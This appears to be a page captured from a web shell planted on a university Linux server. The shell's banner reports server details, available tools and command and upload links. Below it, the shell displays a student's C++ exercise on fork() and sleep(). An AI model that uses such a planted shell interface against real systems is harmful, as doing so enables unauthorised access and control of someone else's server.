Server IP : 172.16.15.8 / Your IP : 3.16.75.156 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/rnlink/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// File name: Exercise3.cpp // Author: Raichel Link // Instructor: Dr. Wang // Due date: March 3, 2008 // Compilation: g++ excercise3.cpp -o exercise3.out // Execution: ./exercise3.out // // Goal: Write a UNIX program that creates a child process // that prints a greeting, sleeps for 20 seconds, // then exits. The parent process should print a // greeting before creating the child, and another // after the child has terminated. // // #include <iostream> #include <unistd.h> using namespace std; int main() { cout << "\n\n\nHello baby process!!\n\n"; int id = fork(); if(id == 0) // child-process { cout << "Hello Daddy/Mommy/ParentPS!\n"; sleep(20); exit(0); } cout << "\nThat's my baby!!\n\n\n"; return 0; }